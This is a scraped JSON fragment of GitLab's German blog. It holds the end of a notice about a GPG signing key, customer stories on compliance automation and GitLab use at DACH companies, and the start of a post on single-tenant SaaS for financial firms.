Schlüssel ersetzen.\n\n## Was ist zu tun?\n\nWer GitLab-Repositories bereits vor dem 17. Feb. 2026 auf dem eigenen System konfiguriert hat, findet in der offiziellen Dokumentation Hinweise dazu, [wie der neue Schlüssel abgerufen und hinzugefügt werden kann](https://docs.gitlab.com/omnibus/update/package_signatures/#package-repository-metadata-signing-keys). Für neue Nutzende ist keine weitere Aktion erforderlich – es genügt, der [GitLab-Installationsseite](https://about.gitlab.com/install/) oder der [Installationsdokumentation für gitlab-runner](https://docs.gitlab.com/runner/install/linux-repository/) zu folgen. Weitere Informationen zur [Überprüfung der Repository-Metadaten-Signaturen](https://docs.gitlab.com/omnibus/update/package_signatures/#package-repository-metadata-signing-keys) sind in der Omnibus-Dokumentation verfügbar. Den öffentlichen Schlüssel lässt sich auf jedem GPG-Keyserver über die Suche nach support@gitlab.com oder die Schlüssel-ID `F640 3F65 44A3 8863 DAA0 B6E0 3F01 618A 5131 2F3F` finden.\n\nAlternativ kann der Schlüssel direkt von packages.gitlab.com unter folgender URL heruntergeladen werden: `https://packages.gitlab.com/gpg.key`.\n\n## Weitere Unterstützung benötigt?   \n\n**Eine Issue im [omnibus-gitlab Issue Tracker](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/new?issue&issuable_template=Bug) öffnen.**",[786],{"featured":687,"template":836,"slug":946},"gpg-key-used-to-sign-gitlab-package-repositories-metadata-has-been-extended",{"category":727,"slug":725,"posts":948},[949,962,973],{"content":950,"config":960},{"title":951,"description":952,"authors":953,"heroImage":955,"date":956,"category":725,"tags":957,"updatedDate":956,"body":959},"Wachsende Compliance-Anforderungen meistern: bol setzt auf GitLab","Wie bol mit GitLab-Compliance-Automatisierung DSGVO, ISO und den EU AI Act erfüllt – ohne Entwicklungsgeschwindigkeit einzubüßen.",[954],"Julie Griffin","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665465/Blog/Hero%20Images/blog-image-template-1800x945__15_.png","2026-03-16",[89,798,958,863],"customers","[Bol](https://www.bol.com/nl/nl/) ist einer der größten Online-Händler der Niederlande und Belgiens – mit 38 Millionen Produkten und 50.000 Marketplace-Partnern, die ihre Waren über die Plattform verkaufen. Das Unternehmen setzt auf [GitLab Ultimate](https://about.gitlab.com/de-de/pricing/ultimate/), um Entwicklungsgeschwindigkeit, Compliance-Anforderungen und das Vertrauen seiner Kundenbasis in Einklang zu bringen.\n\nBol stattet seine Teams mit der [GitLab DevSecOps-Plattform](https://about.gitlab.com/de-de/platform/) aus – und spart dabei mehrere tausend manuelle Entwicklerstunden pro Monat bei Compliance-Prüfungen ein.\n\n  > **[Wie deutsche Unternehmen ihr gesamtes Compliance-Management automatisieren können, erklären zwei Solutions-Architektinnen aus dem deutschen Team in diesem Beitrag](https://about.gitlab.com/de-de/blog/automated-compliance-management/).**\n\n***\"GitLab hilft uns, handlungsfähig zu bleiben, während wir wachsen – und während die Anforderungen wachsen, die unsere Software und unsere Entwickler(innen) erfüllen müssen\"***, sagt Guus Houtzager, Engineering Manager im CI/CD-Team von bol. \"Das war unsere größte Herausforderung, und wir haben sie mit GitLab gelöst.\"\n\nMit wachsendem Umsatz stiegen auch die regulatorischen Anforderungen. Bol muss seine Software kontinuierlich anpassen, um strenge und häufig aktualisierte Vorschriften zu erfüllen: die Datenschutz-Grundverordnung (DSGVO), ISO-Anforderungen und den EU AI Act. Nach der Einführung der GitLab Community Edition 2016 und des Upgrades auf GitLab Premium einige Jahre später wechselte bol 2024 auf GitLab Ultimate, um der wachsenden Compliance-Last zu begegnen und Projekte schneller und effizienter abzuwickeln.\n\n![Guus Houtzager von bol – Zitat](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675638/Blog/Content%20Images/bol_Blog_-_Guus.png){altText=\"Zitat von Guus Houtzager, Engineering Manager bei bol\"}\n\n\n## Mehrere tausend Entwicklerstunden pro Monat eingespart\n\nGitLab ermöglicht es bols DevSecOps-Teams, Richtlinien einzurichten, die Compliance-Konfigurationen und -Prüfungen automatisieren. Das schafft Konsistenz und Skalierbarkeit in den Compliance-Bemühungen des Unternehmens und reduziert das Risiko menschlicher Fehler. Mit automatisierten Compliance-Vorgaben kann sich das Team von 850 Entwickler(inne)n auf die Erstellung sicherer Software konzentrieren.\n\n\"Wir haben GitLab Ultimate eingeführt, um verbindliche Compliance-Pipelines zu haben, die sicherstellen, dass unsere Teams von Anfang an innerhalb der Compliance-Vorschriften arbeiten\", sagt Houtzager.\n\n\"Das hat unseren Entwickler(inne)n insgesamt mehrere tausend Stunden pro Monat eingespart\", so Houtzager weiter.\n\nDas Team ist heute in der Lage, neue regulatorische Anforderungen proaktiv zu bewältigen.\n\n\"Wir wissen, dass GitLab uns bei Compliance und Softwaresicherheit unterstützen wird\", sagt Houtzager. \"Selbst wenn neue Vorschriften kommen, haben wir durch GitLab ein Werkzeugset, das uns in die Lage versetzt, jede neue Regulierung einzuhalten. Wir wissen nicht genau, was kommen wird – aber wir wissen, dass wir in der Position sind, damit umzugehen.\"\"\n\n\n## Security nach links verschieben – Kundendaten und Geschäft schützen\n\nAls einer der größten Akteure im europäischen Online-Handel ist Vertrauen ein zentraler Pfeiler des Geschäftsmodells von bol. Das Unternehmen verarbeitet große Mengen personenbezogener Daten – Adressen, Bestelldetails, Zahlungsinformationen. Regulatorische Bußgelder sind dabei eine Sorge, der Vertrauensverlust beim Kundenstamm eine größere.\n\n\"Die meisten Menschen in den Niederlanden und Belgien haben schon einmal bei uns gekauft, und sie vertrauen uns\", sagt Houtzager. \"Sie vertrauen darauf, dass wir ihre Zahlungsdaten ordnungsgemäß verwalten. Wir verkaufen keine personenbezogenen Daten, und sie vertrauen uns, diese sicher zu halten.\"\n\nUm Kundendaten zu schützen, hat bol die [Security nach links verschoben](https://about.gitlab.com/de-de/blog/devsecops-shift-left-guide/) – Entwickler(innen) finden Fehler und Schwachstellen früher im Entwicklungsprozess. Ohne die richtigen Werkzeuge kann dieser Ansatz jedoch neue Belastungen schaffen.\n\n\"Wenn man Security nach links verschiebt, ohne den Teams gleichzeitig die Werkzeuge, den Support und die Prozesse bereitzustellen, versanden Teams entweder in Verfahren oder in manueller Arbeit\", sagt Houtzager.\n\nMit GitLab Ultimate hat bol das Berechtigungsmodell so eingerichtet, dass es die Sicherheitsanforderungen des Unternehmens erfüllt – Entwickler(innen) können schnell bauen und ausliefern, während Kunden- und Geschäftsdaten geschützt bleiben. Änderungen und Korrekturen werden automatisch in Compliance-Aufzeichnungen festgehalten.\n\n> Wie du **Compliance-Standards** für dein Unternehmen in der DACH-Region identifizierst und einhältst, [erfährst du in diesem Beitrag.](https://about.gitlab.com/de-de/blog/compliance-standards/)\n\n\n## KI als nächster Schritt\n\nDer EU AI Act ist seit August 2024 in Kraft und wird schrittweise verbindlich – für Anbieter und Nutzer von KI-Systemen gleichermaßen. Bol plant, künftig weitere GitLab-Ultimate-Funktionen einzusetzen, darunter KI-Fähigkeiten und erweiterte Sicherheitsfunktionen.\n\n\"Die Voraussetzungen müssen stimmen, bevor wir es einsetzen können – aber dann werden wir uns definitiv anschauen, wie es uns helfen kann\", sagt Houtzager. \"Wir schauen, wie alle anderen auch, wo KI uns dabei helfen kann, Situationen über den gesamten Lebenszyklus der Softwareentwicklung hinweg zu verbessern. Wenn jemand Code entwickelt – wie kann KI helfen? Wenn jemand an anderen Aspekten des Prozesses arbeitet – wie kann KI helfen?\"\n\n> Weitere europäische Kundenstorys gibt es auf der [GitLab-Kundenseite](https://about.gitlab.com/de-de/customers/). Ein deutsches Praxisbeispiel zur Compliance-Automatisierung liefert die [Deutsche Bahn Kundenstory](https://about.gitlab.com/de-de/customers/deutsche-bahn-ag/).\n\n[GitLab Ultimate kostenlos testen](https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/blog/online-retailer-bol-tackles-growing-compliance-needs-with-gitlab)\n",{"slug":961,"featured":687,"template":836},"online-retailer-bol-tackles-growing-compliance-needs-with-gitlab",{"content":963,"config":971},{"date":956,"authors":964,"tags":966,"category":725,"title":967,"description":968,"body":969,"heroImage":970},[965],"GitLab Germany Team",[958],"GitLab-Erfahrungen: Wie Unternehmen aus dem DACH-Markt GitLab in der Praxis einsetzen"," Erfahre mehr über positive Erfahrungen, die Unternehmen mit GitLab in der Praxis machen.","Wer nach Erfahrungen mit [DevOps-Plattformen](https://about.gitlab.com/de-de/) sucht, will meist mehr als eine reine Produktbeschreibung. Entscheidend ist die Frage, wie sich die Software im Unternehmensalltag bewährt: Welche Stärken zeigt die Plattform in der Praxis, wo liegen mögliche Herausforderungen – und welche konkreten Ergebnisse erzielen Teams damit? \n\nGenau hier lohnt sich der Blick auf reale Einsatzszenarien von GitLab. Denn die Erfahrungen von Unternehmen aus Deutschland, Österreich und der Schweiz zeigen, wie GitLab genutzt wird, um Toolchains zu konsolidieren, CI/CD zu beschleunigen, Sicherheit frühzeitig in die Entwicklung einzubinden und Releases effizienter zu steuern. \n\nIn diesem Beitrag werfen wir deshalb nicht nur einen Blick auf Funktionen und Einsatzfelder, sondern vor allem auf die Frage, welchen konkreten Nutzen GitLab in der Praxis stiften kann.\n\n## Was ist GitLab?\n\nGitLab ist eine DevSecOps-Plattform, mit der Unternehmen den gesamten Lebenszyklus der Softwareentwicklung in einer zentralen Umgebung abbilden können. Dazu gehören unter anderem Quellcodeverwaltung, Zusammenarbeit im Team, automatisierte Tests, Deployments sowie Sicherheits- und Compliance-Prüfungen.\n\nGitLab bündelt Funktionen, für die oft mehrere Einzeltools im Einsatz sind, in einer integrierten Plattform. Dazu zählen: \n\n* Versionskontrolle auf Basis von Git\n* [CI/CD-Pipelines](https://about.gitlab.com/de-de/solutions/continuous-integration/)\n* [Code Reviews](https://about.gitlab.com/de-de/solutions/software-compliance/)\n* [Projektmanagement](https://about.gitlab.com/de-de/solutions/source-code-management/)\n* [Security-Scans](https://about.gitlab.com/de-de/solutions/application-security-testing/)\n* [Monitoring](https://about.gitlab.com/de-de/solutions/analytics-and-insights/)\n\n**Der entscheidende Vorteil:** GitLab bringt Entwicklung, Sicherheit und Betrieb an einem Ort zusammen. So lassen sich Prozesse enger verzahnen, Medienbrüche in der Toolchain reduzieren und Abläufe über den gesamten Entwicklungszyklus hinweg einheitlicher steuern. Vor allem für Unternehmen, die ihre Tool-Landschaft konsolidieren, Prozesse standardisieren und mehr Kontrolle über Entwicklung und Deployment gewinnen möchten, ist das ein wesentlicher Vorteil.\n\n## Welche Erfahrungen machen Unternehmen mit GitLab in der Praxis?\n\nDie Stärken und Schwächen einer Software zeigen sich vor allem in der aktiven Nutzung im Unternehmensalltag. Folgende Stärken und Schwächen von GitLab sehen Unternehmen in der praktischen Arbeit mit dem Tool. \n\n### Positive Erfahrungen mit GitLab\n\n* **Intelligente Orchestrierung über den gesamten Softwareentwicklungs-Lebenszyklus:** Zu den häufigsten positiven GitLab Erfahrungen zählt, dass zentrale Funktionen wie Versionskontrolle, CI/CD, Security und Zusammenarbeit in einer Plattform gebündelt sind. Das reduziert Medienbrüche in der Toolchain und schafft konsistentere Prozesse über den gesamten Entwicklungszyklus hinweg.\n\n\n* **Weniger Reibung im Arbeitsalltag:** Wenn Planung, Entwicklung, Sicherheit und Deployment in einer Umgebung zusammenlaufen, müssen Teams seltener zwischen verschiedenen Tools wechseln. Das spart Zeit, vereinfacht Abstimmungen und erhöht die Effizienz im Arbeitsalltag.\n\n\n* **Native CI/CD:** Viele Unternehmen bewerten positiv, dass Builds, Tests und Deployments direkt in bestehende Workflows integriert werden können. Gerade dort, wo Releases beschleunigt und manuelle Schritte reduziert werden sollen, zeigt sich dieser Vorteil besonders deutlich.\n\n\n* **Mehr Transparenz und Kontrolle:** GitLab führt Informationen aus Planung, Code, Sicherheit, Compliance, Tests und Bereitstellung in einem gemeinsamen Kontext zusammen. Das verbessert die Transparenz und erleichtert es, Abhängigkeiten und Prozesse über den gesamten Entwicklungszyklus hinweg nachzuvollziehen.\n\n\n* **Security & Compliance:** Sicherheitsprüfungen lassen sich frühzeitig in den Entwicklungsprozess integrieren, statt erst kurz vor dem Release. Für Unternehmen mit hohen Anforderungen an Governance, Compliance und Risikominimierung ist das ein wesentlicher Pluspunkt.\n\n\n* **Bessere Teamarbeit:** Wenn Code, Pipelines, Sicherheitsprüfungen und Abstimmungen an einem Ort gebündelt sind, werden Prozesse für Teams nachvollziehbarer. Das erleichtert die Zusammenarbeit vor allem in Organisationen, in denen mehrere Rollen und Abteilungen eng zusammenarbeiten.\n\n\n* **Self-Hosting und Kontrolle:** Für viele Unternehmen ist wichtig, dass sie mehr Kontrolle über Infrastruktur, Daten und Prozesse behalten können. Das ist besonders dann relevant, wenn Datenschutz, interne Richtlinien oder individuelle Betriebsanforderungen eine große Rolle spielen.\n\n\n* **Flexible Bereitstellungsoptionen:** GitLab lässt sich je nach Bedarf unterschiedlich betreiben, etwa selbst gehostet oder als SaaS-Lösung. Das schafft Flexibilität für Unternehmen, die regulatorische Vorgaben erfüllen oder ihre Infrastrukturstrategie gezielt steuern möchten.\n\n\n* **Integrationen mit Docker, Kubernetes und anderen Tools:** GitLab lässt sich gut in moderne Entwicklungs- und Cloud-Umgebungen einbinden. Das ist vor allem für Unternehmen interessant, die auf Containerisierung und skalierbare Deployment-Prozesse setzen.\n\n### Wo Teams bei GitLab Herausforderungen sehen\n\n* **Komplexere Benutzeroberfläche:** Der große Funktionsumfang ist ein klarer Vorteil, kann GitLab im Alltag aber auch komplex wirken lassen. Vor allem neue Nutzer(innen) sollten etwas mehr Einarbeitungszeit einplanen.\n\n\n* **Steilere Lernkurve:** Weil GitLab viele Bereiche des Software-Lebenszyklus abdeckt, ist die Einarbeitung meist anspruchsvoller als bei fokussierten Einzeltools. Wer GitLab meistert, arbeitet mit einer dedizierten Plattform, die den gesamten Softwareentwicklungs-Lebenszyklus orchestriert und Einzellösungen ablöst.\n\n\n* **Kleinere Community als GitHub:** Im Vergleich zu GitHub wird GitLab oft als weniger stark community-getrieben wahrgenommen, da GitHub historisch die größte Open-Source-Community bündelt. Gleichzeitig nutzen mehr als 50 Millionen registrierte Nutzer(innen) GitLab und tragen zur Weiterentwicklung der Plattform bei. \n* **Je nach Setup höherer Einführungsaufwand:** Die Einführung von GitLab ist häufig nicht nur technisch, sondern auch organisatorisch anspruchsvoll. Vor allem dann, wenn bestehende Prozesse, Rollen und Tools angepasst werden müssen, steigt der Aufwand für Einführung und Change Management.\n\n### Wann GitLab besonders stark ist\n\nBesonders positive GitLab Erfahrungen machen Unternehmen meist dann, wenn sie nicht nur ein Tool für Quellcodeverwaltung suchen, sondern ihre Entwicklungs-, Sicherheits- und Betriebsprozesse enger zusammenführen möchten. Vor allem für Organisationen, die ihre Tool-Landschaft konsolidieren, Prozesse standardisieren und mehr Kontrolle über CI/CD, Security und Deployment gewinnen wollen, spielt GitLab seine Stärken in der Praxis aus.\n\n## GitLab-Erfahrungen aus der Praxis: Einsatzmöglichkeiten bei deutschen Unternehmen\n\nWie sich GitLab im Unternehmensalltag bewährt, zeigt sich besonders gut in den Case Studies aus Deutschland und der DACH-Region. Die Beispiele machen deutlich, wie Unternehmen GitLab nutzen, um ihre Tool-Landschaft zu konsolidieren, Entwicklungsprozesse zu beschleunigen und Sicherheit sowie Zusammenarbeit enger in den Entwicklungsprozess einzubinden. \n\n### *All-in-One-Plattform und Toolchain-Konsolidierung – Beispiel Hilti*\n\nHilti setzt GitLab ein, um zentrale Entwicklungs- und Sicherheitsprozesse in einer Plattform zu bündeln – von SCM über CI/CD bis hin zu Security und Integrationen. Gerade für Unternehmen mit gewachsenen Tool-Landschaften ist das ein wichtiger Vorteil. Weniger Einzellösungen bedeuten weniger Übergaben, weniger Reibung und ein konsistenterer Entwicklungsprozess.\n\n**Positive GitLab-Erfahrungen von Hilti:**\n\n* 400 % mehr Code Reviews\n* 50 % kürzere Feedbackschleifen\n* 12x kürzere Bereitstellungszeit\n\n*\"GitLab ist wie eine Suite gebündelt und wird mit einem sehr ausgeklügelten Installationsprogramm ausgeliefert. Und dann funktioniert es einfach wie von Zauberhand. Das ist sehr schön, wenn man ein Unternehmen ist, das einfach nur alles zum Laufen bringen möchte.\"*\n\n\\- Daniel Widerin, Head of Software Delivery, Hilti\n\n*[Erfahre mehr zu den GitLab-Erfahrungen von Hilti in der Kundenstory](https://about.gitlab.com/de-de/customers/hilti/)*\n\n### *Softwareentwicklung und Kollaboration im großen Maßstab – Beispiel Deutsche Bahn*\n\nBei der Deutschen Bahn bildet GitLab die technologische Grundlage für die Entwicklung und den Betrieb zentraler digitaler Produkte. Vor allem in großen Organisationen kommt es darauf an, Zusammenarbeit, Standardisierung und Transparenz über viele Teams hinweg zu ermöglichen. Genau hier spielt GitLab seine Stärken aus.\n\n**Positive GitLab-Erfahrungen der Deutschen Bahn:**\n\n* 10-20 % Infrastrukturkosteneinsparungen\n* 1 Million Pipeline-Builds pro Monat\n* 80 % weniger Zeitaufwand für Pipeline-Wartung\n\n*\"Wir haben unsere primäre digitale Plattform – die Schnittstelle für Millionen unserer Kunden – von Grund auf mit GitLab aufgebaut. Diese Software ist entscheidend für unseren Erfolg, daher ist GitLab es auch.\"*\n\n\\- Lukas Pradel, Software Engineer, Deutsche Bahn\n\n*[Erfahre mehr zu den GitLab-Erfahrungen der Deutschen Bahn in der Kundenstory](https://about.gitlab.com/de-de/customers/deutsche-bahn-ag/)*\n\n### *CI/CD und Automatisierung – Beispiel Siemens*\n\nSiemens nutzt GitLab, um CI/CD-Prozesse im großen Maßstab zu automatisieren und unternehmensweit auszurollen. Wenn Build- und Deployment-Prozesse in hoher Frequenz laufen, braucht es skalierbare und verlässliche Abläufe. GitLab schafft dafür die Grundlage und unterstützt gleichzeitig eine stärkere DevOps-Kultur.\n\n**Positive GitLab-Erfahrungen von Siemens:**\n\n* über 40.000 GitLab-Benutzer(innen)\n* über 6,4 Millionen Builds pro Monat\n\n*\"Wir bemühen uns sehr, eine Open-Source-Kultur einzuführen, und bisher waren wir wirklich erfolgreich. Mit CI/CD haben wir jeden Monat 1,5 Millionen Builds erstellt. Die ganze Kultur hat sich völlig verändert.\"*\n\n\\- Fabio Huser, Softwarearchitekt bei Siemens Smart Infrastructure, Siemens\n\n*[Erfahre mehr zu den GitLab-Erfahrungen von Siemens in der Kundenstory](https://about.gitlab.com/de-de/customers/siemens/)*\n\n### *Schnellere Releases und kürzere Time-to-Market – Beispiel Deutsche Telekom*\n\nDie Deutsche Telekom nutzt GitLab, um Entwicklungs-, Sicherheits- und Release-Prozesse effizienter miteinander zu verzahnen. Für Unternehmen mit komplexen Release-Strukturen ist das besonders wertvoll: Prozesse werden beschleunigt, Abstimmungen vereinfacht und die Zeit bis zur Auslieferung neuer Funktionen sinkt deutlich.\n\n**Positive GitLab-Erfahrungen der Deutschen Telekom:**\n\n* 6x schnellere Markteinführung\n* 13.000 aktive GitLab-Benutzer(innen)\n\n*\"Die Markteinführungszeit war für uns ein wichtiges Thema. Vor unserer Transformation zu Agile und DevOps dauerten unsere Release-Zyklen in einigen Fällen fast 18 Monate. Wir konnten diese drastisch auf etwa 3 Monate reduzieren.\"*\n\n\\- Thorsten Bastian, Business Owner IT, CI/CD-Hub, Telekom IT\n\n*[Erfahre mehr zu den GitLab-Erfahrungen der Deutschen Telekom in der Kundenstory](https://about.gitlab.com/de-de/customers/deutsche-telekom/)*\n\n### *Sicherheit und Compliance – Beispiel Connect-i*\n\nConnect-i setzt GitLab ein, um Sicherheitsprüfungen, Zugriffskontrollen und Compliance-Anforderungen direkt in die Entwicklungsprozesse zu integrieren. Gerade für Unternehmen mit hohen Anforderungen an Nachvollziehbarkeit und Sicherheit ist es entscheidend, dass Compliance nicht nachgelagert, sondern fest in den Entwicklungsalltag eingebunden ist.\n\n**Positive GitLab-Erfahrungen von Connect-i:**\n\n* 30 % weniger Kosten\n* 2 Stunden Zeitersparnis pro Entwickler(in) und Tag\n* 30–40 % schnellere Entwicklung und Bereitstellung\n\n*\"Die Qualität unserer Software hat sich erheblich verbessert. Da wir alles – das Programmieren, die Tickets, CI/CD und Tests – an einem Ort haben, konnten wir unsere Arbeit um 30 % bis 40 % beschleunigen.\"*\n\n\\- Axel Minck, CEO, Connect-i\n\n*[Erfahre mehr zu den GitLab-Erfahrungen von Connect-i in der Kundenstory](https://about.gitlab.com/de-de/customers/connect-i/)*\n\n## Weitere Unternehmen mit ausgezeichneter GitLab-Erfahrung\n\nNeben den ausführlichen Beispielen aus dem DACH-Markt lohnt sich auch der Blick auf weitere internationale Case Studies, die zusätzliche Einsatzfelder von GitLab zeigen.\n\n| **Unternehmen** | **Branche** | **GitLab- Anwendungsfall** | **GitLab-Nutzen** |\n| ----- | ----- | ----- | ----- |\n| **[NVIDIA](https://about.gitlab.com/de-de/customers/nvidia/)** | Technologie | Skalierbare Zusammenarbeit mit GitLab Geo für verteilte Teams | 51 % Nutzerzuwachs in einem Jahr und 99 % Uptime |\n| **[Goldman Sachs](https://about.gitlab.com/de-de/customers/goldman-sachs/)** | Finanzdienstleistungen | CI/CD-Automatisierung und DevOps-Beschleunigung | von 1 Build in 2 Wochen auf über 1.000 Builds pro Tag |\n| **[Lockheed Martin](https://about.gitlab.com/de-de/customers/lockheed-martin/)** | Luft- und Raumfahrt / Verteidigung | Toolchain-Konsolidierung und DevSecOps-Skalierung | 80x schnellere CI-Builds, tausende stillgelegte Jenkins-Server |\n| **[HackerOne](https://about.gitlab.com/de-de/customers/hackerone/)** | Technologie / Security | Integrierte Security und Tool-Konsolidierung | 5x schnellere Deployments, 7,5x schnellere Pipelines |\n| **[Fanatics](https://about.gitlab.com/de-de/customers/fanatics/)** | Einzelhandel | CI-Stabilität und Migration auf GitLab CI | 800 Projekte in 3 Monaten migriert, 95 % Nutzerzufriedenheit |\n| **[CERN](https://about.gitlab.com/de-de/customers/cern/)** | Wissenschaft / Forschung | Kollaboration, Codequalität und Sicherheit in globalen Forschungsprojekten | 90x schnellere Job-Starts und 60x schnellere Fehleridentifikation |\n| **[Bitpanda](https://about.gitlab.com/de-de/customers/bitpanda/)** | Finanzdienstleistungen | Skalierung von DevOps, Transparenz und schnelles Onboarding | kontinuierliche Releases bis auf Stundenbasis, hohe Audit-Transparenz |\n| **[Ericsson](https://about.gitlab.com/de-de/customers/ericsson/)** | Telekommunikation | GitOps-gestützte Deployments für OSS/BSS | 50 % schnellere Deployments und 10x mehr Testszenarien |\n| **[Chefkoch](https://about.gitlab.com/de-de/customers/chefkoch/)** | Technologie | Toolchain-Konsolidierung und Effizienzsteigerung | 40 % schnellere Deployment und 30 % frühere Bug-Erkennung |\n| **[Hemmersbach](https://about.gitlab.com/de-de/customers/hemmersbach/)** | IT-Dienstleistung | Migration und Skalierung von DevOps | 60 % mehr Builds pro Tag und 30 automatisierte Deployments täglich |\n\n*[Weitere Erfolgsgeschichten unserer Kunden findest du auf dieser Übersichtsseite!](https://about.gitlab.com/de-de/customers/)*\n\n## Für wen ist GitLab geeignet?\n\nGitLab ist besonders für Unternehmen geeignet, die mehr brauchen als reine Quellcodeverwaltung. Seine Stärken spielt die Plattform vor allem dort aus, wo Entwicklung, Sicherheit und Betrieb enger miteinander verzahnt werden sollen – etwa in Enterprise-Umgebungen mit hohen Anforderungen an Compliance, Governance und Nachvollziehbarkeit.\n\nAuch für DevOps- und Plattformteams sowie für Organisationen mit komplexeren CI/CD-Prozessen ist GitLab oft eine gute Wahl. Das gilt vor allem dann, wenn mehrere Einzellösungen abgelöst, Abläufe standardisiert und Entwicklungsprozesse zentraler gesteuert werden sollen.\n\n## GitLab oder GitHub: Wann sprechen die Erfahrungen eher für GitLab?\n\nDer Unterschied zwischen GitLab und GitHub liegt vor allem im Plattformansatz. GitLab ist häufig die bessere Wahl, wenn Unternehmen CI/CD, Security, Governance und Deployment-Prozesse möglichst eng in einer Lösung abbilden möchten. Gerade bei Toolchain-Konsolidierung, Self-Hosting und integrierten DevSecOps-Prozessen zeigt die Plattform ihre Stärken.\n\nGitHub kann mit der Open-Source-Ausrichtung, Reichweite und einer besonders starken Marketplace- und Integrationslandschaft aufwarten. Wer also eine möglichst integrierte DevSecOps-Plattform sucht, findet in GitLab oft den passenden Ansatz. Wer primär an Open-Source-Projekten arbeitet, ist mit GitHub unter Umständen näher an den eigenen Anforderungen.\n\n## Fazit\n\nGitLab ist weit mehr als ein Tool für Quellcodeverwaltung. Die Plattform spielt ihre Stärken vor allem dort aus, wo Unternehmen Entwicklung, Sicherheit und Betrieb enger zusammenführen, ihre Tool-Landschaft konsolidieren und Prozesse über den gesamten Software-Lebenszyklus hinweg stärker standardisieren möchten. \n\nGenau das zeigen auch die Case Studies aus Deutschland und der DACH-Region: von schnelleren Releases über effizientere CI/CD-Prozesse bis hin zu mehr Transparenz, Sicherheit und Compliance. Gleichzeitig ist GitLab nicht für jedes Setup automatisch die beste Wahl. Wer vor allem eine besonders einfache Oberfläche, einen sehr niedrigen Einstieg oder eine maximal große Open-Source-Community sucht, sollte die Plattform sorgfältig einordnen. Für Unternehmen mit komplexeren Anforderungen und einem klaren Fokus auf integrierte DevSecOps-Prozesse kann GitLab in der Praxis jedoch ein erheblicher Hebel sein.\n\n> **Orchestriere deine gesamte Softwareentwicklung über eine Plattform**\n> \n> Du hast genug von einem aufgeblähten Techstack und isolierten Funktionen? Mach es wie tausende Unternehmen und verzahne deine Prozesse auf einer Plattform! \n> \n> [Jetzt kostenlos testen!](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/de-de&glm_content=default-saas-trial)","https://res.cloudinary.com/about-gitlab-com/image/upload/v1773856365/gsx2c0vqlswox3ldmq88.jpg",{"featured":13,"template":836,"slug":972},"gitlab-experience",{"content":974,"config":984},{"title":975,"description":976,"authors":977,"heroImage":979,"date":980,"category":725,"tags":981,"body":983},"Warum Finanzdienstleister auf Single-Tenant-SaaS setzen","So hilft GitLab Dedicated Finanzorganisationen dabei, konforme DevSecOps ohne Performance-Einbußen zu erreichen.",[978,875],"George Kichukov","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662023/Blog/Hero%20Images/display-dedicated-for-government-article-image-0679-1800x945-fy26.png","2025-08-14",[608,982,958],"DevOps platform","Betrete die Filiale einer beliebigen Finanzinstitution und eins wird sofort deutlich. Vorbei an bewaffneten Sicherheitskräften, durch biometrische Scanner, hinter dicken Wänden und mehreren Sicherheitskontrollen findest du Entwickler(innen), welche die Algorithmen erstellen, die das globale Finanzwesen antreiben – auf gemeinsamer Infrastruktur mit Millionen Unbekannten.\n\nDie Software, welche die heutige Finanzwelt antreibt, ist hoch komplex. Sie umfasst Kreditrisikomodelle, die Milliarden an Vermögenswerten schützen, Zahlungsverarbeitungsalgorithmen, die Millionen von Transaktionen abwickeln, Customer-Intelligence-Plattformen, die die Geschäftsstrategie vorantreiben, und Regulierungssysteme, die operative Compliance sicherstellen – alles angetrieben von Quellcode, der sowohl operativer Kern als auch strategisches Asset ist.\n\n## Wenn geteilte Infrastruktur zum systemischen Risiko wird\n\nDer Aufstieg von Software-as-a-Service-Plattformen hat für Finanzinstitute eine unbequeme Realität geschaffen. Jeder geteilte Mandant wird zu einem nicht verwalteten Drittparteirisiko und verwandelt plattformweite Vorfälle in branchenweite Störungen. Dies ist genau die Art von Konzentrationsrisiko, welches zunehmend die Aufmerksamkeit der Regulierungsbehörden auf sich zieht.\n\nPatrick Opet, Chief Information Security Officer von JPMorgan Chase, richtete kürzlich in einem [offenen Brief](https://www.jpmorgan.com/technology/technology-blog/open-letter-to-our-suppliers) an Drittanbieter eine deutliche Warnung an die Branche. Er hob hervor, wie die SaaS-Adoption „eine erhebliche Verwundbarkeit schafft, die das globale Wirtschaftssystem schwächt\", indem sie „Konzentrationsrisiko in die globale kritische Infrastruktur einbettet\". Der Brief betont, dass sich „ein Angriff auf einen großen SaaS- oder PaaS-Anbieter sofort auf dessen Kunden auswirken kann\" und genau das systemische Risiko schafft, das Multi-Tenant-Cloud-Plattformen für Quellcode-Management, CI-Builds, CD-Deployments und Sicherheitsscans einführen.\n\nBedenke die regulatorische Komplexität, die dies schafft. In gemeinsamen Umgebungen wird deine Compliance-Position zur Geisel potenzieller Vorfälle, die andere Mandanten betreffen, sowie der Konzentrationsrisiken von Anbietern mit großer Angriffsfläche. Eine Fehlkonfiguration, die eine Organisation auf der Plattform betrifft, kann breitere Auswirkungen auf das gesamte Ökosystem auslösen.\n\nDatensouveränitäts-Herausforderungen verstärken dieses Risiko. Gemeinsame Plattformen verteilen Workloads über mehrere Regionen und Rechtsräume, oft ohne granulare Kontrolle darüber, wo dein Quellcode ausgeführt wird. Für Institutionen, die unter strengen regulatorischen Anforderungen arbeiten, kann diese geografische Verteilung Compliance-Lücken schaffen, die schwer zu beheben sind.\n\nDann gibt es den Verstärkungseffekt. Jeder geteilte Mandant wird effektiv zu einem indirekten Drittparteirisiko für deine Operationen. Ihre Schwachstellen vergrößern deine Angriffsfläche. Ihre Vorfälle können deine Verfügbarkeit beeinträchtigen. Ihre Kompromittierungen können deine Umgebung beeinflussen.\n\n## Speziell entwickelt für das, was am wichtigsten ist\n\nGitLab erkennt an, dass der Quellcode deiner Organisation dieselbe Sicherheitsstufe verdient wie deine sensibelsten Kundendaten. Anstatt dich zu zwingen, zwischen Cloud-Skalierungseffizienz und Enterprise-Grade-Sicherheit zu wählen, liefert GitLab beides durch [GitLab Dedicated](https://about.gitlab.com/dedicated/) – speziell entwickelte Infrastruktur, die vollständige Isolation aufrechterhält.\n\nDeine Entwicklungsworkflows, Quellcode-[Repositories](https://docs.gitlab.com/user/project/repository/) und [CI/CD-Pipelines](https://docs.gitlab.com/ci/pipelines/) laufen in einer Umgebung, die ausschließlich deiner Organisation gewidmet ist. Die [Hosted 